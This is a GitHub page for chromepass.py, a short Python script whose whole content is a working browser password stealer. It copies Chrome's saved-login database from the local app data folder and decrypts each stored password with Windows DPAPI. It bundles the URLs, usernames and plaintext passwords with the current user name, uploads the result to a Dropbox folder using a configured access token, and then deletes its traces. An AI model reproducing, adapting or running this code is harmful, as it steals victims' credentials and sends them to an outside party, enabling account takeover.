-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathchromepass.py
92 lines (73 loc) · 2.15 KB
/
chromepass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import json
import os
import sqlite3
import shutil
import getpass
import dropbox
import random
try:
import win32crypt
except:
pass
config = json.load(open('./config.json', 'r'))
def main():
send()
def getpasswords():
dataToBeSent = {}
dataList = []
path = getpath()
try:
connection = sqlite3.connect(path+'\Login Data')
cursor = connection.cursor()
v = cursor.execute(
'SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
for origin_url, username, password in value:
password = win32crypt.CryptUnprotectData(
password, None, None, None, 0)[1]
if password:
dataList.append({
'origin_url': origin_url,
'username': username,
'password': str(password)[2:-1]
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
else:
print(e)
dataToBeSent["user"] = getpass.getuser()
dataToBeSent["passwords"] = dataList
return dataToBeSent
def send():
jsonData = getpasswords()
#Get your access code form dropbox to use it here.
dbx=dropbox.Dropbox(config['dropbox_token'])
file_from="c:\prog\Login Data"
x=random.randint(1,500)
z=str(x)+'.txt'
new_f=open(z,'w+')
new_f.write(str(jsonData.items()))
new_f.close()
file_to="/kaunheh/"+z
with open(z, 'rb') as f:
dbx.files_upload(f.read(), file_to)
os.remove(z)
os.remove(file_from)
def getpath():
source = os.getenv('localappdata') + \
'\\Google\\Chrome\\User Data\\Default\\Login Data'
target = "C:\prog";
try:
os.mkdir(target)
except:
print('f')
shutil.copy(source, target)
return target
if __name__== '__main__':
main()